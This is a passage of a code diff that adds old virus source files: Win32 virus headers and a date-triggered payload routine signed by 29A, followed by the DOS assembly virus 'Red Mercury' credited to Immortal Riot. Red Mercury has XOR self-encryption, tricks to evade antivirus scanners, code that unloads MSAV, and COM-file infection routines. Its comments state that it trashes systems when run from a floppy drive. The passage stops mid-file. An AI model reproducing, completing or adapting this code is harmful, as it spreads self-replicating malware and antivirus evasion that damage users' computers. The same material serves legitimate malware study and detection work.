pfnHandler; +} SEH_record, *PSEH_record; + +// This is semi-documented in the NTDDK.H file from the NT DDK +typedef struct _TIB { +PSEH_record pvExcept; // 00h Head of exception record list +PVOID pvStackUserTop; // 04h Top of user stack +PVOID pvStackUserBase; // 08h Base of user stack +WORD pvTDB; // 0Ch TDB +WORD pvThunksSS; // 0Eh SS selector used for thunking to 16 bits +DWORD SelmanList; // 10h +PVOID pvArbitrary; // 14h Available for application use +struct _tib *ptibSelf; // 18h Linear address of TIB structure +WORD TIBFlags; // 1Ch +WORD Win16MutexCount; // 1Eh +DWORD DebugContext; // 20h +DWORD pCurrentPriority; // 24h +DWORD pvQueue; // 28h Message Queue selector +PVOID *pvTLSArray; // 2Ch Thread Local Storage array +} TIB, *PTIB; + + +//TDBX structure + +typedef struct _TDBX { + DWORD ptdb; // 00h // PTHREAD_DATABASE + DWORD ppdb; // 04h // PPROCESDS_DATABASE + DWORD ContextHandle; // 08h + DWORD un1; // 0Ch + DWORD TimeOutHandle; // 10h + DWORD WakeParam; // 14h + DWORD BlockHandle; // 18h + DWORD BlockState; // 1Ch + DWORD SuspendCount; // 20h + DWORD SuspendHandle; // 24h + DWORD MustCompleteCount; // 28h + DWORD WaitExFlags; // 2Ch + // 0x00000001 - WAITEXBIT + // 0x00000002 - WAITACKBIT + // 0x00000004 - SUSPEND_APC_PENDING + // 0x00000008 - SUSPEND_TERMINATED + // 0x00000010 - BLOCKED_FOR_TERMINATION + // 0x00000020 - EMULATE_NPX + // 0x00000040 - WIN32_NPX + // 0x00000080 - EXTENDED_HANDLES + // 0x00000100 - FROZEN + // 0x00000200 - DONT_FREEZE + // 0x00000400 - DONT_UNFREEZE + // 0x00000800 - DONT_TRACE + // 0x00001000 - STOP_TRACING + // 0x00002000 - WAITING_FOR_CRST_SAFE + // 0x00004000 - CRST_SAFE + // 0x00040000 - BLOCK_TERMINATE_APC + DWORD SyncWaitCount; // 30h + DWORD QueuedSyncFuncs; // 34h + DWORD UserAPCList; // 38h + DWORD KernAPCList; // 3Ch + DWORD pPMPSPSelector; // 40h + DWORD BlockedOnID; // 44h + DWORD un2[7]; // 48h + DWORD TraceRefData; // 64h + DWORD TraceCallBack; // 68h + DWORD TraceEventHandle; // 6Ch + WORD TraceOutLastCS; // 70h + WORD K16TDB; // 72h + WORD K16PDB; // 74h + WORD DosPDBSeg; // 76h + WORD ExceptionCount; // 78h +} TDBX, *PTDBX; + + +//Thread Database structure + +typedef struct _THREAD_DATABASE { +DWORD Type; // 00h +DWORD cReference; // 04h +PPROCESS_DATABASE pProcess; // 08h +DWORD someEvent; // 0Ch An event object (What's it used for???) +DWORD pvExcept; // 10h This field through field 3CH is a TIB + // structure (see TIB.H) +DWORD TopOfStack; // 14h +DWORD StackLow; // 18h +WORD W16TDB; // 1Ch +WORD StackSelector16; // 1Eh Used when thunking down to 16 bits +DWORD SelmanList; // 20h +DWORD UserPointer; // 24h +PTIB pTIB; // 28h +WORD TIBFlags; // 2Ch TIBF_WIN32 = 1, TIBF_TRAP = 2 +WORD Win16MutexCount; // 2Eh +DWORD DebugContext; // 30h +PDWORD pCurrentPriority; // 34h +DWORD MessageQueue; // 38h +DWORD pTLSArray; // 3Ch +PPROCESS_DATABASE pProcess2;// 40h Another copy of the thread's process??? +DWORD Flags; // 44h + // 0x00000001 - fCreateThreadEvent + // 0x00000002 - fCancelExceptionAbort + // 0x00000004 - fOnTempStack + // 0x00000008 - fGrowableStack + // 0x00000010 - fDelaySingleStep + // 0x00000020 - fOpenExeAsImmovableFile + // 0x00000040 - fCreateSuspended + // 0x00000080 - fStackOverflow + // 0x00000100 - fNestedCleanAPCs + // 0x00000200 - fWasOemNowAnsi + // 0x00000400 - fOKToSetThreadOem +DWORD TerminationStatus; // 48h Returned by GetExitCodeThread +WORD TIBSelector; // 4Ch +WORD EmulatorSelector; // 4Eh +DWORD cHandles; // 50h +DWORD WaitNodeList; // 54h +DWORD un4; // 58h +DWORD Ring0Thread; // 5Ch +PTDBX pTDBX; // 60 +DWORD StackBase; // 64h +DWORD TerminationStack; // 68h +DWORD EmulatorData; // 6Ch +DWORD GetLastErrorCode; // 70h +DWORD DebuggerCB; // 74h +DWORD DebuggerThread; // 78h +PCONTEXT ThreadContext; // 7Ch // register context defined in WINNT.H +DWORD Except16List; // 80h +DWORD ThunkConnect; // 84h +DWORD NegStackBase; // 88h +DWORD CurrentSS; // 8Ch +DWORD SSTable; // 90h +DWORD ThunkSS16; // 94h +DWORD TLSArray[64]; // 98h +DWORD DeltaPriority; // 198h + +// The retail version breaks off somewhere around here. +// All the remaining fields are most likely only in the debug version + +DWORD un5[7]; // 19Ch +DWORD pCreateData16; // 1B8h +DWORD APISuspendCount; // 1BCh # of times SuspendThread has been called +DWORD un6; // 1C0h +DWORD WOWChain; // 1C4h +WORD wSSBig; // 1C8h +WORD un7; // 1CAh +DWORD lp16SwitchRec; // 1CCh +DWORD un8[6]; // 1D0h +DWORD pSomeCritSect1; // 1E8h +DWORD pWin16Mutex; // 1ECh +DWORD pWin32Mutex; // 1F0h +DWORD pSomeCritSect2; // 1F4h +DWORD un9; // 1F8h +DWORD ripString; // 1FCh +DWORD LastTlsSetValueEIP[64]; // 200h (parallel to TlsArray, contains EIP + // where TLS value was last set from) +} THREAD_DATABASE, *PTHREAD_DATABASE; +[win95sys.h] +[jqcoding.h] +/* + JQCODING.H - Supertiny/fast Compression/Encryption library - C/C++ header + (c) 1998 by Jacky Qwerty/29A. + */ + +unsigned long +__stdcall +jq_encode(void *out, /* output stream ptr */ + const void *in, /* input stream ptr */ + unsigned long in_len, /* input stream length */ + void *mem64k); /* work mem ptr */ + +unsigned long +__stdcall +jq_decode(void *out, /* output stream ptr */ + const void *in, /* input stream ptr */ + unsigned long in_len, /* input stream length */ + void *mem64k); /* work mem ptr */ +[jqcoding.h] +[winicons.h] +// Win16/32 related Icon structures.. + +#include + +#define SIZEOF_LARGE_ICON 0x2E8 +#define SIZEOF_SMALL_ICON 0x128 + +#define SIZEOF_ICONS (SIZEOF_LARGE_ICON + SIZEOF_SMALL_ICON) + +// Icon format (ID = 03h) + +typedef struct _ICONIMAGE { + BITMAPINFOHEADER icHeader; // DIB header + RGBQUAD icColors[1]; // Color table + BYTE icXOR[1]; // DIB bits for XOR mask + BYTE icAND[1]; // DIB bits for AND mask +} ICONIMAGE, *PICONIMAGE; + +// Group Icon format (ID = 0Eh) + +typedef struct _ICONDIRENTRY { + BYTE bWidth; // Width, in pixels, of the image + BYTE bHeight; // Height, in pixels, of the image + BYTE bColorCount; // Number of colors in image (0 if >=8bpp) + BYTE bReserved; // Reserved + WORD wPlanes; // Color Planes + WORD wBitCount; // Bits per pixel + DWORD dwBytesInRes; // how many bytes in this resource? + WORD nID; // the ID +} ICONDIRENTRY, *PICONDIRENTRY; + +#define SIZEOF_ICONDIRENTRY sizeof(ICONDIRENTRY) + +typedef struct _ICONDIR { + WORD idReserved; // Reserved (must be 0) + WORD idType; // Resource type (1 for icons) + WORD idCount; // How many images? + ICONDIRENTRY idEntries[1]; // The entries for each image +} ICONDIR, *PICONDIR; + +#define SIZEOF_ICONDIR 6 +[winicons.h] +[winres.h] +//Win16 (NE) related resource structures.. + +typedef struct { + WORD ID; + WORD count; + DWORD function; +} RESOURCE_TYPE, *PRESOURCE_TYPE; + +typedef struct { + WORD offset; + WORD length; + WORD flags; + WORD ID; + WORD handle; + WORD usage; +} RESOURCE_INFO, *PRESOURCE_INFO; +[winres.h] +[jq29aico.h] +#ifdef compr + +BYTE jq29aComprIcons[] = { + 0xd7,0x45,0xb1,0x44,0xc6,0x7d,0x61,0xa8,0x96,0xc0,0x9d,0x74,0xbb, + 0x6d,0xbc,0x6b,0xa0,0xa6,0x57,0xc8,0x76,0x77,0x64,0x0c,0x7e,0x9a, + 0x2f,0xb8,0xd2,0xcd,0xbc,0xa3,0xa0,0x33,0x50,0x3b,0x90,0x3b,0x1f, + 0x46,0xe9,0xb2,0x7f,0xe4,0xd0,0x28,0x13,0x4e,0xfa,0x92,0x3e,0xcc, + 0xd1,0xc3,0x92,0x95,0x1c,0x5e,0xda,0xaf,0x45,0x91,0x44,0xee,0xc7, + 0x95,0x31,0x04,0x13,0x3d,0x1c,0x23,0x5d,0xa1,0x59,0xa9,0x34,0x0e, + 0x7a,0x92,0x3f,0x65,0xac,0x3e,0x67,0xa8,0x4b,0x8d,0x7c,0x9e,0x27, + 0x55,0xcc,0x83,0x60,0xa6,0x57,0xc8,0xf6,0x8a,0x72,0xff,0xe5,0xd1, + 0xb9,0x14,0x33,0x7d,0xe1,0xa4,0x53,0xc0,0x9b,0x50,0xbb,0x10,0x3b, + 0x6d,0xc1,0xe4,0xae,0xda,0x11,0x41,0xe1,0x1a,0x42,0x9d,0x1a,0xb3, + 0x00,0x54,0x32,0x51,0x17,0x08,0xb9,0xe5,0x50,0x49,0x6e,0x4c,0x0c, + 0x9f,0x26,0x16,0xcb,0x16,0xea,0xb6,0xa9,0x91,0xcc,0xb3,0x63,0xed, + 0xf9,0xbc,0xa1,0x2c,0x10,0x75,0x06,0x60,0xd2,0x51,0xd0,0x01,0xcf, + 0xda,0xae,0xf1,0x14,0x97,0xa3,0x32,0x1c,0x7e,0x8e,0xca,0x90,0x2b, + 0x4e,0x4a,0x6c,0x82,0x91,0xd3,0xed,0x96,0x67,0xca,0xef,0x05,0x07, + 0x3b,0xb6,0x1e,0x87,0xfb,0xe3,0x06,0xfe,0x2f,0xca,0x08,0x85,0x16, + 0x2f,0xca,0x3f,0x83,0x9e,0x59,0x11,0xfd,0x97,0x46,0xc9,0x31,0x9b, + 0x97,0x95,0x37,0x07,0x02,0x6f,0xc5,0x2b,0xce,0xf7,0x95,0x31,0x1a, + 0x82,0x72,0xdf,0xd8,0x4c,0x3e,0x68,0xd9,0x1f,0x83,0x9d,0x6e,0xde, + 0xa7,0x55,0xb9,0x04,0x93,0x40,0xe6,0x2a,0xcf,0x67,0x16,0x37,0x75, + 0xf1,0x04,0xd5,0xc7,0x55,0x0c,0xbe,0x9a,0x27,0xc5,0x6c,0x43,0xe0, + 0xb5,0x2a,0x31,0x02,0x1f,0x24,0x2b,0xb2,0x9c,0x5c,0xa3,0x5d,0xa0, + 0x8b,0x53,0xbc,0x1b,0x5d,0x1f,0x55,0xcc,0xfe,0xe7,0xd5,0xcc,0xfe, + 0xe7,0xd5,0xcc,0xfe,0xe7,0xa8,0x36,0x77,0x88,0x96,0x03,0xd2,0x6c, + 0xe1,0xee,0x3a,0x54,0xaf,0x5f,0x9d,0xaf,0x8e,0xc8,0x0c,0xc4,0x29, + 0xa7,0x0f,0x77,0x1b,0x4f,0xba,0xd0,0xb2,0x6c,0xaf,0xe3,0xaa,0x26, + 0x58,0x20,0x00,0x5b,0xf3,0x76,0xf2,0x2c,0xb3,0x59,0xd4,0xa1,0x50, + 0x18,0x48,0x00,0x6b,0x2d,0x79,0xee,0xc0,0x04,0x44,0xe2,0xd2,0x59 +}; + +#define SIZEOF_COMPR_ICONS sizeof(jq29aComprIcons) + +#else + +BYTE jq29aIcons[] = { + 0x28,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x01, + 0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x80,0x00,0x00, + 0x00,0x80,0x80,0x00,0x80,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x80, + 0x80,0x00,0x00,0xc0,0xc0,0xc0,0x00,0x80,0x80,0x80,0x00,0x00,0x00, + 0xff,0x00,0x00,0xff,0x00,0x00,0x00,0xff,0xff,0x00,0xff,0x00,0x00, + 0x00,0xff,0x00,0xff,0x00,0xff,0xff,0x00,0x00,0xff,0xff,0xff,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x78,0xe3,0xf8, + 0x00,0x70,0x63,0xf8,0x8f,0xe3,0x31,0xf1,0x87,0xe3,0x31,0xf1,0xc3, + 0xff,0x10,0x01,0xc1,0xff,0x18,0x03,0xe1,0xf8,0x18,0xe3,0xf0,0xf0, + 0x18,0xe3,0xf8,0xe3,0x1c,0xe7,0xf8,0x63,0x1c,0x47,0xfc,0x63,0x1c, + 0x47,0xfc,0x63,0x1c,0x47,0x1c,0x63,0x1e,0x0f,0x1c,0x63,0x3e,0x0f, + 0x80,0xf0,0x3e,0x0f,0xc1,0xf8,0x7f,0x1f,0xff,0xff,0xff,0xff,0xff, + 0xff,0xff,0x7f,0xf0,0xf3,0xc0,0x27,0xf0,0x73,0x80,0xe7,0xe7,0x3f, + 0x98,0xff,0xe7,0x3f,0x32,0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e, + 0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e,0x7f, + 0xff,0x3f,0x9c,0xff,0xff,0x3f,0x80,0xff,0xff,0x3f,0xc1,0xff,0xff, + 0xff,0xff,0xff,0x28,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x20,0x00, + 0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00, + 0x80,0x00,0x00,0x00,0x80,0x80,0x00,0x80,0x00,0x00,0x00,0x80,0x00, + 0x80,0x00,0x80,0x80,0x00,0x00,0xc0,0xc0,0xc0,0x00,0x80,0x80,0x80, + 0x00,0x00,0x00,0xff,0x00,0x00,0xff,0x00,0x00,0x00,0xff,0xff,0x00, + 0xff,0x00,0x00,0x00,0xff,0x00,0xff,0x00,0xff,0xff,0x00,0x00,0xff, + 0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x0c,0xdd,0x00,0x00,0x7b,0x5d,0x80,0x00,0xbf,0x63,0x00,0x00, + 0xdc,0x6b,0x80,0x00,0xeb,0x6b,0x00,0x00,0x6b,0x6b,0x80,0x00,0x9c, + 0xf7,0x00,0x00,0xff,0xff,0xc0,0x00,0xff,0xf3,0x80,0x00,0xcd,0x85, + 0xff,0x00,0xb7,0x67,0x00,0x00,0xf6,0xd7,0xff,0x00,0xf6,0xf7,0x00, + 0x00,0xf7,0x6f,0xff,0x00,0xf7,0x9f,0x00,0x00,0xff,0xff,0xfb,0x00 +}; + +#endif +[jq29aico.h] +[payload.c] + { + SYSTEMTIME SystemTime; + GetLocalTime(&SystemTime); + if ((BYTE)SystemTime.wDay == 29 && (BYTE)SystemTime.wMonth == 0xA) { + bPayLoadDay = TRUE; + #ifdef compr + jq_decode(HostLargeIcon + SIZEOF_ICONS, + jq29aComprIcons + SIZEOF_COMPR_ICONS, + SIZEOF_COMPR_ICONS, + ComprMem); + { + HANDLE hBmp; + DWORD cBytes; + if ((cBytes = GetTempPath(MAX_PATH, PathName)) - 1 < MAX_PATH - 1) { + if (PathName[cBytes - 1] != '\\') + PathName[cBytes++] = '\\'; + *(PDWORD)(PathName + cBytes) = '.A92'; + *(PDWORD)(PathName + cBytes + 4) = 'PMB'; + hBmp = CreateFile(PathName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, + FILE_ATTRIBUTE_NORMAL, 0); + if (hBmp != INVALID_HANDLE_VALUE) + if (GetFileSize(hBmp, NULL) == SIZEOF_BMP) { + CloseHandle(hBmp); + goto SetDeskWallPaper; + } + else { + { + PBYTE pSrc = HostLargeIcon; + PBYTE pTgt = jq29aBmp + 0xE; + DWORD nCount = 0x68; + *(PDWORD)(pTgt - 0xE) = 0x80764D42; + pTgt[0xA - 0xE] = 0x76; + do *pTgt++ = *pSrc++; while (--nCount); + ((PBITMAPINFOHEADER)(pTgt - 0x68))->biWidth = 0x100; + ((PBITMAPINFOHEADER)(pTgt - 0x68))->biHeight = 0x100; + *((PBYTE)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biSizeImage + 1) + = 0x80; + *(PWORD)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biXPelsPerMeter + = 0xECE; + *(PWORD)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biYPelsPerMeter + = 0xED8; + pSrc += 0x200; + { + DWORD nCountDwords = 32; + do { + DWORD nCountYPels = 8; + DWORD Pix = *((PDWORD)pSrc)++; + __asm { + mov eax, [Pix] + xchg ah, al + rol eax, 16 + xchg ah, al + mov [Pix], eax + } + do { + DWORD PixCopy = Pix; + DWORD nCountBits = 32; + do { + DWORD nCountXPels = 4; + do { + *pTgt++ = (PixCopy & 0x80000000)? 0x66 : 0; + } while (--nCountXPels); PixCopy <<= 1; + } while (--nCountBits); + } while (--nCountYPels); + } while (--nCountDwords); + } + } + { + BOOL bBool = WriteFile(hBmp, jq29aBmp, SIZEOF_BMP, &cBytes, + NULL); + WriteFile(hBmp, jq29aBmp, 0, &cBytes, NULL); + CloseHandle(hBmp); + if (bBool) { + HINSTANCE hInst; + SetDeskWallPaper: + hInst = LoadLibrary("USER32"); + if (hInst) { + DWORD (WINAPI *pfnSystemParametersInfo)(DWORD, DWORD, + PVOID, DWORD); + pfnSystemParametersInfo = + (DWORD (WINAPI *)(DWORD, DWORD, PVOID, DWORD)) + GetProcAddress(hInst, "SystemParametersInfoA"); + if (pfnSystemParametersInfo) + pfnSystemParametersInfo(SPI_SETDESKWALLPAPER, + 0, + PathName, + SPIF_UPDATEINIFILE); + FreeLibrary(hInst); + } + } + } + } + } + } + #else + { + PBYTE pTgt = HostLargeIcon; + PBYTE pSrc = jq29aIcons; + DWORD nCount = SIZEOF_ICONS; + do *pTgt++ = *pSrc++ while (--nCount); + } + #endif + } + } +[payload.c] + diff --git a/r/REDMERC.ASM b/r/REDMERC.ASM new file mode 100755 index 0000000..588a354 --- /dev/null +++ b/r/REDMERC.ASM @@ -0,0 +1,623 @@ +; Red Mercury 1.00 +; "Created by Immortal Riot's destructive development team" +; (c) '94 The Unforgiven/Immortal Riot +; +; "If Red Mercury doesn't exist, neither does this virus". +; +; Notes: +; F-prot, Scan, TBAV, FindViru, can't find shits of this virus. +; +; Disclamer: +; I take no resposible for any destructive use of this virus, it's +; programmed in educational purposes only. Thank you. +; +; Dedication: +; I dedicate this virus to all of Immortal Riot, b'cos we're having +; such a nice time doing this toghether. Also, hugs to all AV-wankers. + +.MODEL TINY ; +.CODE ; ASM! +ORG 256d ; 100h + ; +Virus_start: ; +xchg ax, ax ; NOP! +nop ; NOP! + ; To fool TBAV, from detecting Burma, + ; ie (hex) B8 01 FA, but also so we + ; don't infect the orginal-virus. + ; +mov ax,0fa01h ; Let's un-install MSAV junk program +mov dx,5945h ; from memory for a cost of 8 bytes :) +int 16h ; + ; +call get_delta_offset ; I just call.. ...to find the offset! +real_start: ; + ; +Get_delta_offset: ; Get the delta-offset +pop bp ; with the same old trick +sub bp, offset get_delta_offset ; as always + ; +Call_en_de_crypt: ; This code, does the exact same thing as +mov ax,bp ; a "call en_de_crypt", though it take +add ax,11Ah ; a few more bytes. If we use the "usual" +push ax ; code, F-Prot will detect it as Radym, +jmp short en_de_crypt ; that The Attitude Adjuster/Virulent Grafitti + ; wrote some years back. For more info about + ; all offset's, tasm with /la (listening) + ; +jmp short real_code_start ; Then, we'll continue.. + ; +encryption_value dw 0 ; Random value to use as the XOR-value, + ; place this in a un-encrypted area + ; +Write_virus: ; Infect the victim's! +call en_de_crypt ; Write encrypted copy + ; +lea cx, virus_end-256d ; Write from 100h to virus_end, +lea dx,[bp] ; ie, write all of this code! +mov ax,word ptr [bp+virus_end+1ah+2] +inc ah ; add ah,1 won't work here. +add dx,ax ; +mov ah,64d ; The 40hex joke (again) +int 21h ; + ; +call en_de_crypt ; Return to the un-encrypted beginning +ret ; and then we jump to real-code-start: +;------------------------------------------------------------------------------- +; In the encryption, the most important to think about is to encrypt ONLY +; the thing that you can encrypt for getting a virus working. That is +; (in this virus) the code between real_code_start to the rest of the virus. +; +; It would be smarter to place the encryption and the write_virus routine as +; the last end of the code, b'cos of that would make the virus harder to +; debug/dissassemble than it's now. Also it would have saved some bytes +; as well. (Shoddy coding and damn stupid, heh?) +;------------------------------------------------------------------------------- +En_de_crypt: ; + ; +mov ax,word ptr [bp+encryption_value] ; Value to encrypt with +lea si,[bp+real_code_start] ; +mov cx,(virus_end-real_code_start+1)/2 ; Part of code to encrypt + +loop_again: +xor word ptr [si],ax ; Nice little function +inc si ; Add si,2 +inc si ; ^^ Cost one more byte + ; +loop loop_again ; Encrypt two bytes/loop (word), until +ret ; real_code_start to virus_end is encrypted + ; +Real_code_start: ; All instructions below will + ; in the infected file be + ; encrypted, thus making it hard + ; to analyse for heuristic A-V. + ; +cld ; Clear direction flag + ; +Set_Dta: ; +mov ah,1ah ; Set the DTA-area to the +lea dx,[bp+virus_end] ; end of the file, and we'll +int 21h ; save some bytes. We don't use + ; de default 80h b'cos that will + ; overwrite the parameters in the + ; original program. +Buffer_Xfer: ; +lea si,[bp+first_bytes] ; Transer the first four +lea di,[bp+@buf] ; instructions to a buffer + ; in memory, so the original + ; program can execute later on + ; +xor cx,cx ; Mov cx,2 is smaller/faster, +add cx,2 ; but this is clearer/dumber. + ; +rep movsw ; (Move string by word), allows you to + ; copy entire regions of memory + ; (buffers) from one place to anther with + ; only that command "rep movsw". + ; +mov di,4 ; Infection-Counter, max 4 / run + ; Will be decreaced each time we set back + ; our old attribs (ie, after file-infection) + ; +Get_drive: ; +mov ah,19h ; Get the drive from where we're +int 21h ; executed from + ; +cmp ax,0fh ; Is disk-drive invalid? +je Floppy_exec ; Yep, then, jump and play that we're + ; executed from A:. Totally meaningless + ; really, b'cos a file can't be executed + ; from a in-valid drive. + ; +cmp al,2 ; A: or B:? +jnb check_ram ; Nop, not from a floppy drive + ; +Floppy_exec: ; +jmp on_floppy ; If they execute us from a floppy + ; they might have noticed our + ; existence and are keeping us under + ; investigations. Then we can as well + ; trash that sucker before it's too late. + ; +Check_RAM: ; Some people use G: as a RAM-drive, +cmp al,6 ; that is under 4 Mb, ie, not much +je floppy_Exec ; to infect, so, we crash them here, + ; as well. + ; +Get_dir: ; If we aren't executed from A B or G: +mov ah,47h ; we'll just continue, and now, get +xor dl,dl ; the directory from where we're being +lea si,[bp+virus_end+2ch] ; executed from. +int 21h ; + ; +Find_First: ; Find first file with, +mov cx,111b ; any attributes and with +lea dx,[bp+filemask] ; the extension of 'COM' +mov ah,4eh ; +_4fh: ; AH=4FH, (Find Next File), this +int 21h ; smart little trick will save us + ; plenty of bytes, compared to writing + ; the whole file-search routine twice! + ; +jnc clear_file_attribs ; We did find a file! + ; Happy Happy, Joy Joy! + ; +jmp ch_dir ; We didn't find a file, so let's + ; try in another directory + ; +Clear_file_attribs: ; +mov ax,4301h ; Set file attribs to +sub cx,cx ; nothing. +lea dx,[bp+virus_end+1eh] ; +int 21h ; + ; +Open_file: ; Open file (AH=3DH) +mov ax,3d02h ; in read/write mode (AL=02H) +int 21h ; +xchg ax,bx ; File handle in BX + ; +Read_file: ; +mov ah,3fh ; Read file (or device) +mov cx,4 ; Number of bytes to read +lea dx,[bp+first_bytes] ; What to read +int 21h ; + ; +Check_already_infected: ; Check if file already is infected, + ; or some other file that we don't + ; want to infect + ; +mov si,dx ; Put the first_bytes that now is in DX in +lea si,[bp+first_bytes] ; SI. Compare with our own jmp-construction +cmp word ptr [si],0e990h ; and if it match (is equal), then +je already_infected ; don't re-infect it. + ; +cmp word ptr [si],5a4dh ; We'll also check if a file is a + ; renamed EXE file, b'cos they will + ; also un-infected work perfectly. + ; First check the beginning for a ZM? +je already_infected ; If so, then, don't infect it! +cmp word ptr [si],4d5ah ; But EXE files can also begin with MZ, +je already_infected ; and then, don't infect it. + ; +cmp byte ptr [si+1],26h ; We'll not infect files that starts +je already_infected ; with a ' &' (Psychosis infection). + ; +cmp word ptr [si],9090h ; Don't infect files that starts +je already_infected ; with a double-NOP (90h), the classic + ; infection-marker for viruses + ; +mov ax,word ptr [bp+virus_end+1ah] +cmp ax,400 ; We'll not infect files that is smaller +jb already_infected ; than 400 bytes or bigger than 63000 +cmp ax,63000 ; The small b'cos of we don't want +ja already_infected ; debuggers to do a 5 byte "dummy" file, +cmp ax,1701 ; and in the case of big COM files, the +je already_infected ; message "Program to big to fit in memory" + ; 